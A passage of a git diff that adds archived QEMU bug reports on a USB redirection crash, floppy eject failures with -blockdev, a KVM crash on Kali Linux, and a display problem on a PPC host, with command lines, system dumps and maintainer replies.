port=5901,addr=0.0.0.0,seamless-migration=on -device qxl-vga,id=video0,ram_size=134217728,vram_size=134217728,vram64_size_mb=0,vgamem_mb=64,max_outputs=1,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -chardev spicevmc,id=charredir0,name=usbredir -device usb-redir,chardev=charredir0,id=redir0,bus=usb.0,port=1 -chardev spicevmc,id=charredir1,name=usbredir -device usb-redir,chardev=charredir1,id=redir1,bus=usb.0,port=2 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x7 -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on + + +I have attempted to collect a backtrace, but will need direction as I am not sure on which thread to listen and where to set the breakpoint, 'thread apply all backtrace' does not seem to work well with the qemu process... + +Thank you + +Hello, +I have the same qemu behaviour. It happens every time I have unplugged physical usb device attached to guest from the host system. My device is USB GSM dongle. Some times it disconnects and reconnects again for unknown reason, may be power loss... With version 3.1.0 qemu (gentoo linux) this disconnects had normal USB device disconnects in guest system. But with version 4.0.0 it gets guest VM to crash. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/179 + + diff --git a/results/classifier/deepseek-1/output/drive./1799766 b/results/classifier/deepseek-1/output/drive./1799766 new file mode 100644 index 00000000..53e8691b --- /dev/null +++ b/results/classifier/deepseek-1/output/drive./1799766 @@ -0,0 +1,243 @@ + +-device does not work as -drive do + +Copy/paste of https://stackoverflow.com/questions/52929723/qemu-eject-complains-device-is-not-found-while-it-is-there , since I found this bug trying to find an answer to an own question on Stack Overflow. + +Below, what was my question the answer I wrote, all exposes the bug. + +==================================================================== + + +I need to eject a floppy from QEmu 3.0 monitor, but the command surprisingly fails complaining the device is not found, while it is really there. + +Listing of devices: + + (qemu) info block + fda: dos-6-22/Dos622-1.img (raw) + Attached to: /machine/unattached/device[11] + Removable device: not locked, tray closed + Cache mode: writeback + + hda: hda.img (raw) + Attached to: /machine/peripheral-anon/device[1] + Cache mode: writeback + +Eject command result: + + (qemu) eject fda + Device 'fda' not found + +This is so although this documentation says this is how I have to do: https://www.linux-kvm.org/page/Change_cdrom (just that I want to eject the floppy instead of the CD‑ROM). + +The `change` command complains the same: + + (qemu) change fda dos-6-22/Dos622-2.img raw + Device 'fda' not found + +Is this a bug or me doing something wrong? + +I tried using different node names, with always the same result. + +==================================================================== + +I’m posting as an answer, but I’m not strictly sure. I can just say, if I understand correctly, this is a bug. + +The answer comes in two parts. + +First part, is a stripped down failing invocation: + + qemu-system-i386 \ + -monitor stdio \ + -machine type=isapc,vmport=off \ + -blockdev driver=file,node-name=fda-img,filename=fda.img \ + -blockdev driver=raw,node-name=fda,file=fda-img \ + -global isa-fdc.driveA=fda + + (qemu) info block + ide1-cd0: [not inserted] + Attached to: /machine/unattached/device[19] + Removable device: not locked, tray closed + + sd0: [not inserted] + Removable device: not locked, tray closed + + fda: fda.img (raw) + Attached to: /machine/unattached/device[13] + Removable device: not locked, tray closed + Cache mode: writeback + (qemu) eject fda + Device 'fda' not found + +Second part, is the same without the last argument `-global isa-fdc.driveA=fda`: + + qemu-system-i386 \ + -monitor stdio \ + -machine type=isapc,vmport=off \ + -blockdev driver=file,node-name=fda-img,filename=fda.img \ + -blockdev driver=raw,node-name=fda,file=fda-img + + (qemu) info block + ide1-cd0: [not inserted] + Attached to: /machine/unattached/device[19] + Removable device: not locked, tray closed + + floppy0: [not inserted] + Attached to: /machine/unattached/device[13] + Removable device: not locked, tray closed + + sd0: [not inserted] + Removable device: not locked, tray closed + (qemu) eject floppy0 + +There is more error when `-global isa-fdc.driveA=fda` is removed. However, the documentation says: + +> -global driver=driver,property=property,value=value +> Set default value of driver’s property prop to value, e.g.: + +> qemu-system-i386 -global ide-hd.physical_block_size=4096 disk-image.img +> In particular, you can **use this to set driver properties for devices which are created automatically by the machine model**. To create a device which is not created automatically and set properties on it, use -device. + +> -global driver.prop=value is shorthand for -global driver=driver,property=prop,value=value. The longhand syntax works even when driver contains a dot. + +What I put a stress on in the quote, suggest I’m not misusing `-global` and that’s most probably a bug. + +**Update for more details:** + +It seems using `-drive` instead of `-device` and `driveA` assignment, the result is not the same, although RedHat documentation recommands using `-device` instead of `-drive` and QEmu 3.0 documentation says `-drive` is essentially a shortcut for `-device` (“essentially”, not telling about the difference). + +Below, two cases, with an except of `info block` and an excerpt of `info qtree`. + +With this one, `eject floppy0` works: + + qemu-system-i386 \ + -monitor stdio \ + -machine type=isapc,vmport=off \ + -drive format=raw,if=floppy,media=disk,file=fda.img \ + -device isa-vga,vgamem_mb=1 \ + -serial msmouse + + […] + + floppy0 (#block156): fda.img (raw) + Attached to: /machine/unattached/device[12] + Removable device: not locked, tray closed + Cache mode: writeback + + […] + + dev: isa-fdc, id "" + iobase = 1008 (0x3f0) + irq = 6 (0x6) + dma = 2 (0x2) + driveA = "" + driveB = "" + check_media_rate = true + fdtypeA = "auto" + fdtypeB = "auto" + fallback = "288" + isa irq 6 + bus: floppy-bus.0 + type floppy-bus + dev: floppy, id "" + unit = 0 (0x0) + drive = "floppy0" + logical_block_size = 512 (0x200) + physical_block_size = 512 (0x200) + min_io_size = 0 (0x0) + opt_io_size = 0 (0x0) + discard_granularity = 4294967295 (0xffffffff) + write-cache = "auto" + share-rw = false + drive-type = "144" + +With this one, `eject fda` does not work: + + qemu-system-i386 \ + -monitor stdio \ + -machine type=isapc,vmport=off \ + -blockdev driver=file,node-name=fda-img,filename=fda.img \ + -blockdev driver=raw,node-name=fda,file=fda-img \ + -global isa-fdc.driveA=fda \ + -device isa-vga,vgamem_mb=1 \ + -serial msmouse + + […] + + fda: fda.img (raw) + Attached to: /machine/unattached/device[12] + Removable device: not locked, tray closed + Cache mode: writeback + + […] + + dev: isa-fdc, id "" + iobase = 1008 (0x3f0) + irq = 6 (0x6) + dma = 2 (0x2) + driveA = "" + driveB = "" + check_media_rate = true + fdtypeA = "auto" + fdtypeB = "auto" + fallback = "288" + isa irq 6 + bus: floppy-bus.0 + type floppy-bus + dev: floppy, id "" + unit = 0 (0x0) + drive = "fda" + logical_block_size = 512 (0x200) + physical_block_size = 512 (0x200) + min_io_size = 0 (0x0) + opt_io_size = 0 (0x0) + discard_granularity = 4294967295 (0xffffffff) + write-cache = "auto" + share-rw = false + drive-type = "144" + +Hi, + +As you yourself say, -drive does work, so this is really not about -drive, but about -blockdev. + +-drive creates part of the device as well, so to speak, whereas -blockdev only creates one (or more) nodes in the block layer. You can only eject something from devices, however, so you cannot eject a blockdev. So yes, there is a difference between -drive and -blockdev. + +If you want to use eject, you either have to use -drive (which is legacy), or you eject the ID given to -device (because you eject the device). However, you haven't even used -device, but you just used -global (which doesn't allow giving an ID). + +As you can see from "info block", there is still a QOM path that you could in theory use, too. So you probably could also "eject /machine/unattached/device[12]" (in the last example). + +In practice, you should probably do this: + +$ qemu-system-i386 \ + -blockdev driver=file,node-name=fda-img,filename=fda.img \ + -blockdev driver=raw,node-name=fda,file=fda-img \ + -device floppy,id=floppy,drive=fda \ + -monitor stdio +(qemu) info block +[...] +fda: fda.img (raw) + Attached to: floppy + Removable device: not locked, tray closed + Cache mode: writeback +(qemu) eject floppy +Device 'floppy' not found + +Oops. + +Well, it works with QMP: + +{'execute':'eject','arguments':{'id':'floppy'}} +{"return": {}} + +So there is indeed a bug, although it's not the one you're reporting. The bug is that HMP's eject does not accept a -device ID (but only a -drive ID). + +Max + +Yes, I messed up with `-device`, because I initially tried to do it with `-device`, later rely only on automatically created device, and so had automatically created devices. + +Thanks for you rich comment, I will study it. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/effectively./1348106 b/results/classifier/deepseek-1/output/effectively./1348106 new file mode 100644 index 00000000..6cb7da09 --- /dev/null +++ b/results/classifier/deepseek-1/output/effectively./1348106 @@ -0,0 +1,211 @@ + +kvm crash on Kali Linux + +platform: DELL Vostro 2421 +#uname -a +Linux x-linux 3.14-kali1-686-pae #1 SMP Debian 3.14.4-1kali1 (2014-05-14) i686 GNU/Linux + +#kvm --version +QEMU emulator version 1.1.2 (qemu-kvm-1.1.2+dfsg-6+deb7u3, Debian), Copyright (c) 2003-2008 Fabrice Bellard + +#qemu --version +QEMU emulator version 1.1.2 (Debian 1.1.2+dfsg-6a+deb7u3), Copyright (c) 2003-2008 Fabrice Bellard + +# cat /etc/issue +Kali GNU/Linux 1.0.7 \n \l + +# cat /proc/cpuinfo +processor : 0 +vendor_id : GenuineIntel +cpu family : 6 +model : 58 +model name : Intel(R) Core(TM) i3-3227U CPU @ 1.90GHz +stepping : 9 +microcode : 0x19 +cpu MHz : 790.875 +cache size : 3072 KB +physical id : 0 +siblings : 4 +core id : 0 +cpu cores : 2 +apicid : 0 +initial apicid : 0 +fdiv_bug : no +f00f_bug : no +coma_bug : no +fpu : yes +fpu_exception : yes +cpuid level : 13 +wp : yes +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer xsave avx f16c lahf_lm ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase smep erms +bogomips : 3791.39 +clflush size : 64 +cache_alignment : 64 +address sizes : 36 bits physical, 48 bits virtual +power management: + +processor : 1 +vendor_id : GenuineIntel +cpu family : 6 +model : 58 +model name : Intel(R) Core(TM) i3-3227U CPU @ 1.90GHz +stepping : 9 +microcode : 0x19 +cpu MHz : 790.875 +cache size : 3072 KB +physical id : 0 +siblings : 4 +core id : 1 +cpu cores : 2 +apicid : 2 +initial apicid : 2 +fdiv_bug : no +f00f_bug : no +coma_bug : no +fpu : yes +fpu_exception : yes +cpuid level : 13 +wp : yes +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer xsave avx f16c lahf_lm ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase smep erms +bogomips : 3791.39 +clflush size : 64 +cache_alignment : 64 +address sizes : 36 bits physical, 48 bits virtual +power management: + +processor : 2 +vendor_id : GenuineIntel +cpu family : 6 +model : 58 +model name : Intel(R) Core(TM) i3-3227U CPU @ 1.90GHz +stepping : 9 +microcode : 0x19 +cpu MHz : 790.875 +cache size : 3072 KB +physical id : 0 +siblings : 4 +core id : 0 +cpu cores : 2 +apicid : 1 +initial apicid : 1 +fdiv_bug : no +f00f_bug : no +coma_bug : no +fpu : yes +fpu_exception : yes +cpuid level : 13 +wp : yes +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer xsave avx f16c lahf_lm ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase smep erms +bogomips : 3791.39 +clflush size : 64 +cache_alignment : 64 +address sizes : 36 bits physical, 48 bits virtual +power management: + +processor : 3 +vendor_id : GenuineIntel +cpu family : 6 +model : 58 +model name : Intel(R) Core(TM) i3-3227U CPU @ 1.90GHz +stepping : 9 +microcode : 0x19 +cpu MHz : 790.875 +cache size : 3072 KB +physical id : 0 +siblings : 4 +core id : 1 +cpu cores : 2 +apicid : 3 +initial apicid : 3 +fdiv_bug : no +f00f_bug : no +coma_bug : no +fpu : yes +fpu_exception : yes +cpuid level : 13 +wp : yes +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer xsave avx f16c lahf_lm ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase smep erms +bogomips : 3791.39 +clflush size : 64 +cache_alignment : 64 +address sizes : 36 bits physical, 48 bits virtual +power management: + +# cat /proc/meminfo +MemTotal: 4010792 kB +MemFree: 3123960 kB +MemAvailable: 3307340 kB +Buffers: 44908 kB +Cached: 389772 kB +SwapCached: 0 kB +Active: 476588 kB +Inactive: 348656 kB +Active(anon): 391436 kB +Inactive(anon): 71016 kB +Active(file): 85152 kB +Inactive(file): 277640 kB +Unevictable: 0 kB +Mlocked: 0 kB +HighTotal: 3148696 kB +HighFree: 2431604 kB +LowTotal: 862096 kB +LowFree: 692356 kB +SwapTotal: 2095100 kB +SwapFree: 2095100 kB +Dirty: 64 kB +Writeback: 0 kB +AnonPages: 390604 kB +Mapped: 89160 kB +Shmem: 71892 kB +Slab: 31688 kB +SReclaimable: 14196 kB +SUnreclaim: 17492 kB +KernelStack: 2864 kB +PageTables: 5448 kB +NFS_Unstable: 0 kB +Bounce: 0 kB +WritebackTmp: 0 kB +CommitLimit: 4100496 kB +Committed_AS: 1886836 kB +VmallocTotal: 122880 kB +VmallocUsed: 68924 kB +VmallocChunk: 43084 kB +HardwareCorrupted: 0 kB +AnonHugePages: 0 kB +HugePages_Total: 0 +HugePages_Free: 0 +HugePages_Rsvd: 0 +HugePages_Surp: 0 +Hugepagesize: 2048 kB +DirectMap4k: 26616 kB +DirectMap2M: 882688 kB + + +when I launch kvm with Juniper Simulator, it crashed after 1minute. +all the command line is below +kvm 1-JunOS-10.2R1.8.img \ + -m 128 \ + -net nic,macaddr=00:50:56:C0:00:01 \ + -net tap \ + -net nic,macaddr=00:50:56:C0:00:02 \ + -net tap \ + -net nic,macaddr=00:50:56:C0:00:03 \ + -net tap \ + -net nic,macaddr=00:50:56:C0:00:04 \ + -net tap \ + -net nic,macaddr=00:50:56:C0:00:05 \ + -net tap \ + -net nic,macaddr=00:50:56:C0:00:06 \ + -net tap \ + -display curses + +of course I had loaded the kvm module +#modpro kvm +#modpro kvm-intel + +for more detials, see the srceenshot + + + +Please report this problem in the bug tracker of your Linux distribution instead. + diff --git a/results/classifier/deepseek-1/output/effectively./1603636 b/results/classifier/deepseek-1/output/effectively./1603636 new file mode 100644 index 00000000..61931db1 --- /dev/null +++ b/results/classifier/deepseek-1/output/effectively./1603636 @@ -0,0 +1,478 @@ + +Guest has not initialized the display yet on ubuntu 16.10 PPC + +Hi +tested with all kind of configure, with all kind of machine types but i have the same issue ... +on lastest quemo 2.6 "Guest has not initialized the display yet" +note with lastest git repository the situation become worst because on i386-softmmu i have the message but qemu exit alone because looklike there is not a bios + +this is gdb of i386-softmmu + +(gdb) run +Starting program: /home/amigaone/src/qemu/i386-softmmu/qemu-system-i386 +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/powerpc-linux-gnu/libthread_db.so.1". +[New Thread 0xf7f78b70 (LWP 25074)] +[New Thread 0xf770bb70 (LWP 25075)] +[New Thread 0xf6dfdb70 (LWP 25076)] +[New Thread 0xf65fdb70 (LWP 25077)] +[New Thread 0xf3337b70 (LWP 25078)] +[New Thread 0xe4146b70 (LWP 25087)] +qemu-system-i386: Trying to execute code outside RAM or ROM at 0x000a0000 +This usually means one of the following happened: + +(1) You told QEMU to execute a kernel for the wrong machine type, and it crashed on startup (eg trying to run a raspberry pi kernel on a versatilepb QEMU machine) +(2) You didn't give QEMU a kernel or BIOS filename at all, and QEMU executed a ROM full of no-op instructions until it fell off the end +(3) Your guest kernel has a bug and crashed by jumping off into nowhere + +This is almost always one of the first two, so check your command line and that you are using the right type of kernel for this machine. +If you think option (3) is likely then you can try debugging your guest with the -d debug options; in particular -d guest_errors will cause the log to include a dump of the guest register state at this point. + +Execution cannot continue; stopping here. + +[Thread 0xe4146b70 (LWP 25087) exited] +[Thread 0xf65fdb70 (LWP 25077) exited] +[Thread 0xf6dfdb70 (LWP 25076) exited] +[Thread 0xf770bb70 (LWP 25075) exited] +[Thread 0xf7f78b70 (LWP 25074) exited] +[Thread 0xf7f7c000 (LWP 25070) exited] +[Inferior 1 (process 25070) exited with code 01] + + +this is my ldd +ldd ./qemu-system-i386 + linux-vdso32.so.1 => (0x00100000) + libvirglrenderer.so.0 => /usr/local/lib/libvirglrenderer.so.0 (0x0ff8a000) + libepoxy.so.0 => /usr/lib/powerpc-linux-gnu/libepoxy.so.0 (0x0fe86000) + libgbm.so.1 => /usr/local/lib/libgbm.so.1 (0x0fe55000) + libX11.so.6 => /usr/lib/powerpc-linux-gnu/libX11.so.6 (0x0fcf2000) + libz.so.1 => /lib/powerpc-linux-gnu/libz.so.1 (0x0fcb1000) + libcurl-gnutls.so.4 => /usr/lib/powerpc-linux-gnu/libcurl-gnutls.so.4 (0x0fc10000) + libssh2.so.1 => /usr/lib/powerpc-linux-gnu/libssh2.so.1 (0x0fbbf000) + libbz2.so.1.0 => /lib/powerpc-linux-gnu/libbz2.so.1.0 (0x0fb7e000) + libpixman-1.so.0 => /usr/lib/powerpc-linux-gnu/libpixman-1.so.0 (0x0fadd000) + libutil.so.1 => /lib/powerpc-linux-gnu/libutil.so.1 (0x0faac000) + libnuma.so.1 => /usr/lib/powerpc-linux-gnu/libnuma.so.1 (0x0fa79000) + libncurses.so.5 => /lib/powerpc-linux-gnu/libncurses.so.5 (0x0fa28000) + libtinfo.so.5 => /lib/powerpc-linux-gnu/libtinfo.so.5 (0x0f9d7000) + libuuid.so.1 => /lib/powerpc-linux-gnu/libuuid.so.1 (0x0f9a6000) + libpng16.so.16 => /usr/lib/powerpc-linux-gnu/libpng16.so.16 (0x0f945000) + libjpeg.so.8 => /usr/lib/powerpc-linux-gnu/libjpeg.so.8 (0x0f8d4000) + libSDL2-2.0.so.0 => /usr/local/lib/libSDL2-2.0.so.0 (0x0f77d000) + libnettle.so.6 => /usr/lib/powerpc-linux-gnu/libnettle.so.6 (0x0f71c000) + libgnutls.so.30 => /usr/lib/powerpc-linux-gnu/libgnutls.so.30 (0x0f5ca000) + libgtk-x11-2.0.so.0 => /usr/lib/powerpc-linux-gnu/libgtk-x11-2.0.so.0 (0x0f0e6000) + libgdk-x11-2.0.so.0 => /usr/lib/powerpc-linux-gnu/libgdk-x11-2.0.so.0 (0x0f005000) + libcairo.so.2 => /usr/lib/powerpc-linux-gnu/libcairo.so.2 (0x0eec3000) + libgdk_pixbuf-2.0.so.0 => /usr/lib/powerpc-linux-gnu/libgdk_pixbuf-2.0.so.0 (0x0ee72000) + libgobject-2.0.so.0 => /usr/lib/powerpc-linux-gnu/libgobject-2.0.so.0 (0x0edf1000) + libglib-2.0.so.0 => /lib/powerpc-linux-gnu/libglib-2.0.so.0 (0x0eca0000) + libsnappy.so.1 => /usr/lib/powerpc-linux-gnu/libsnappy.so.1 (0x0ec6f000) + libusb-1.0.so.0 => /lib/powerpc-linux-gnu/libusb-1.0.so.0 (0x0ec2e000) + librt.so.1 => /lib/powerpc-linux-gnu/librt.so.1 (0x0ebfd000) + libm.so.6 => /lib/powerpc-linux-gnu/libm.so.6 (0x0eb0c000) + libgcc_s.so.1 => /lib/powerpc-linux-gnu/libgcc_s.so.1 (0x0eacb000) + libpthread.so.0 => /lib/powerpc-linux-gnu/libpthread.so.0 (0x0ea88000) + libc.so.6 => /lib/powerpc-linux-gnu/libc.so.6 (0x0e8d4000) + libdrm.so.2 => /usr/lib/powerpc-linux-gnu/libdrm.so.2 (0x0e8a3000) + libdl.so.2 => /lib/powerpc-linux-gnu/libdl.so.2 (0x0e872000) + libexpat.so.1 => /lib/powerpc-linux-gnu/libexpat.so.1 (0x0e821000) + libxcb.so.1 => /usr/lib/powerpc-linux-gnu/libxcb.so.1 (0x0e7e0000) + libidn.so.11 => /lib/powerpc-linux-gnu/libidn.so.11 (0x0e77f000) + librtmp.so.1 => /usr/lib/powerpc-linux-gnu/librtmp.so.1 (0x0e73e000) + libgssapi_krb5.so.2 => /usr/lib/powerpc-linux-gnu/libgssapi_krb5.so.2 (0x0e6cd000) + liblber-2.4.so.2 => /usr/lib/powerpc-linux-gnu/liblber-2.4.so.2 (0x0e69c000) + libldap_r-2.4.so.2 => /usr/lib/powerpc-linux-gnu/libldap_r-2.4.so.2 (0x0e61a000) + libgcrypt.so.20 => /lib/powerpc-linux-gnu/libgcrypt.so.20 (0x0e527000) + /lib/ld.so.1 (0x200a9000) + libsndio.so.6.1 => /usr/lib/powerpc-linux-gnu/libsndio.so.6.1 (0x0e4f4000) + libp11-kit.so.0 => /usr/lib/powerpc-linux-gnu/libp11-kit.so.0 (0x0e473000) + libtasn1.so.6 => /usr/lib/powerpc-linux-gnu/libtasn1.so.6 (0x0e432000) + libhogweed.so.4 => /usr/lib/powerpc-linux-gnu/libhogweed.so.4 (0x0e3d1000) + libgmp.so.10 => /usr/lib/powerpc-linux-gnu/libgmp.so.10 (0x0e330000) + libgmodule-2.0.so.0 => /usr/lib/powerpc-linux-gnu/libgmodule-2.0.so.0 (0x0e2ff000) + libpangocairo-1.0.so.0 => /usr/lib/powerpc-linux-gnu/libpangocairo-1.0.so.0 (0x0e2ce000) + libXfixes.so.3 => /usr/lib/powerpc-linux-gnu/libXfixes.so.3 (0x0e29d000) + libatk-1.0.so.0 => /usr/lib/powerpc-linux-gnu/libatk-1.0.so.0 (0x0e24c000) + libgio-2.0.so.0 => /usr/lib/powerpc-linux-gnu/libgio-2.0.so.0 (0x0e05a000) + libpangoft2-1.0.so.0 => /usr/lib/powerpc-linux-gnu/libpangoft2-1.0.so.0 (0x0e019000) + libpango-1.0.so.0 => /usr/lib/powerpc-linux-gnu/libpango-1.0.so.0 (0x0dfa8000) + libfontconfig.so.1 => /usr/lib/powerpc-linux-gnu/libfontconfig.so.1 (0x0df33000) + libXrender.so.1 => /usr/lib/powerpc-linux-gnu/libXrender.so.1 (0x0df02000) + libXinerama.so.1 => /usr/lib/powerpc-linux-gnu/libXinerama.so.1 (0x0dedf000) + libXi.so.6 => /usr/lib/powerpc-linux-gnu/libXi.so.6 (0x0de9e000) + libXrandr.so.2 => /usr/lib/powerpc-linux-gnu/libXrandr.so.2 (0x0de6d000) + libXcursor.so.1 => /usr/lib/powerpc-linux-gnu/libXcursor.so.1 (0x0de42000) + libXcomposite.so.1 => /usr/lib/powerpc-linux-gnu/libXcomposite.so.1 (0x0de1f000) + libXdamage.so.1 => /usr/lib/powerpc-linux-gnu/libXdamage.so.1 (0x0ddfc000) + libXext.so.6 => /usr/lib/powerpc-linux-gnu/libXext.so.6 (0x0ddc8000) + libfreetype.so.6 => /usr/lib/powerpc-linux-gnu/libfreetype.so.6 (0x0dcf7000) + libxcb-shm.so.0 => /usr/lib/powerpc-linux-gnu/libxcb-shm.so.0 (0x0dcc6000) + libxcb-render.so.0 => /usr/lib/powerpc-linux-gnu/libxcb-render.so.0 (0x0dc95000) + libffi.so.6 => /usr/lib/powerpc-linux-gnu/libffi.so.6 (0x0dc64000) + libpcre.so.3 => /lib/powerpc-linux-gnu/libpcre.so.3 (0x0dbd3000) + libstdc++.so.6 => /usr/lib/powerpc-linux-gnu/libstdc++.so.6 (0x0d9df000) + libudev.so.1 => /lib/powerpc-linux-gnu/libudev.so.1 (0x0d99d000) + libXau.so.6 => /usr/lib/powerpc-linux-gnu/libXau.so.6 (0x0d979000) + libXdmcp.so.6 => /usr/lib/powerpc-linux-gnu/libXdmcp.so.6 (0x0d948000) + libkrb5.so.3 => /usr/lib/powerpc-linux-gnu/libkrb5.so.3 (0x0d857000) + libk5crypto.so.3 => /usr/lib/powerpc-linux-gnu/libk5crypto.so.3 (0x0d806000) + libcom_err.so.2 => /lib/powerpc-linux-gnu/libcom_err.so.2 (0x0d7d5000) + libkrb5support.so.0 => /usr/lib/powerpc-linux-gnu/libkrb5support.so.0 (0x0d7a4000) + libresolv.so.2 => /lib/powerpc-linux-gnu/libresolv.so.2 (0x0d761000) + libsasl2.so.2 => /usr/lib/powerpc-linux-gnu/libsasl2.so.2 (0x0d720000) + libgssapi.so.3 => /usr/lib/powerpc-linux-gnu/libgssapi.so.3 (0x0d6be000) + libgpg-error.so.0 => /lib/powerpc-linux-gnu/libgpg-error.so.0 (0x0d67d000) + libasound.so.2 => /usr/lib/powerpc-linux-gnu/libasound.so.2 (0x0d54c000) + libbsd.so.0 => /lib/powerpc-linux-gnu/libbsd.so.0 (0x0d50b000) + libselinux.so.1 => /lib/powerpc-linux-gnu/libselinux.so.1 (0x0d4b9000) + libharfbuzz.so.0 => /usr/lib/powerpc-linux-gnu/libharfbuzz.so.0 (0x0d408000) + libthai.so.0 => /usr/lib/powerpc-linux-gnu/libthai.so.0 (0x0d3d7000) + libkeyutils.so.1 => /lib/powerpc-linux-gnu/libkeyutils.so.1 (0x0d3a6000) + libheimntlm.so.0 => /usr/lib/powerpc-linux-gnu/libheimntlm.so.0 (0x0d375000) + libkrb5.so.26 => /usr/lib/powerpc-linux-gnu/libkrb5.so.26 (0x0d2c3000) + libasn1.so.8 => /usr/lib/powerpc-linux-gnu/libasn1.so.8 (0x0d201000) + libhcrypto.so.4 => /usr/lib/powerpc-linux-gnu/libhcrypto.so.4 (0x0d19f000) + libroken.so.18 => /usr/lib/powerpc-linux-gnu/libroken.so.18 (0x0d15e000) + libgraphite2.so.3 => /usr/lib/powerpc-linux-gnu/libgraphite2.so.3 (0x0d10d000) + libdatrie.so.1 => /usr/lib/powerpc-linux-gnu/libdatrie.so.1 (0x0d0dc000) + libwind.so.0 => /usr/lib/powerpc-linux-gnu/libwind.so.0 (0x0d08b000) + libheimbase.so.1 => /usr/lib/powerpc-linux-gnu/libheimbase.so.1 (0x0d05a000) + libhx509.so.5 => /usr/lib/powerpc-linux-gnu/libhx509.so.5 (0x0cfe8000) + libsqlite3.so.0 => /usr/lib/powerpc-linux-gnu/libsqlite3.so.0 (0x0ceb6000) + libcrypt.so.1 => /lib/powerpc-linux-gnu/libcrypt.so.1 (0x0ce5e000) + + +Thanks + +In the title, you talk about PPC, but in the bug description, you talk about i386 ... quite confusing, please try to be consistent. But since you say that you run into this problem with all machine types, this sounds like a configuration problem to me. +Can you please specify how you run the configure script and what output you get there? Also, did you do a "make install" or are you trying to run QEMU from the folder where you compiled it? What output do you get if you run qemu-system-ppc64 with "-nographic" option? + +Hi T, +yes it is the emulated i386 machine qemu-system-i386 and it was working since something change in 2.6. +but issue is present in ppc machine too. dint try the kvm because on ppcemb there is not vga output. + +I had try the 2.5.1 and build and work and confirmed the issue is present only in 2.6 + + +ususally i build it with this : +./configure --with-sdlabi=2.0 --audio-drv-list=pa,sdl --target-list=i386-softmmu,ppc-softmmu,ppc64-softmmu + +i had been try with sdlabi=1.2 and without audio and without target list but have the same issue. +after work i will write my configure output probably can help? + + +Luigi + +Ah, you mean your *host* is running Ubuntu 16.10 PPC (i.e. not your guest)? Only looking at the title of this bug, I was assuming you were talking about the guest running Ubuntu 16.10 PPC (i.e. the host could also be a x86 machine)... +So yes, please provide also the output of "./configure ..." and specify the exact command line parameter that you use to run the emulator. + +Hi tony this are my configurations command i use for run the qemu-system-i386 +note it is working on 2.5.1 and 2.6 old release attached a shot you can see all is working in previous versions of 2.6 + +Aros: +qemu-system-i386 -m 2047 -drive file=/mnt/c7a1331a-6bfe-436e-b43d-fe2afead48e9/Aros.img,id=disk0,format=raw -net nic,model=rtl8139 -net user,smb=/home/amigaone/shared/ -vga vmware -balloon none -display sdl -cpu athlon -mem-prealloc -device virtio-scsi-pci,id=scsi -soundhw es1370 -cdrom /home/amigaone/emulators.iso + +Win98: +qemu-system-i386 -m 256 -drive file=/media/amigaone/mame/vhd/win98.img,id=disk0,format=raw -vga cirrus -display sdl -balloon none -mem-prealloc -device virtio-scsi-pci,id=scsi -rtc clock=host,base=localtime -serial none -parallel none + +winXP: + +qemu-system-i386 -m 2047 -drive file=/media/amigaone/mame/vhd/xp_black,id=disk0,format=raw -net nic,model=rtl8139 -net user,smb=/home/amigaone/shared/ -vga virtio -balloon virtio -display sdl -cpu athlon -mem-prealloc + + + +but qemu is working if only i open it thru qemu-system-i386 ... i have default setting with 128mb and bios running ... + +with lastest git not only "Guest has not initialized the display yet " or quitting like i described before... + +This is my complete configure from beginning + +./configure --with-sdlabi=2.0 --audio-drv-list=pa,sdl 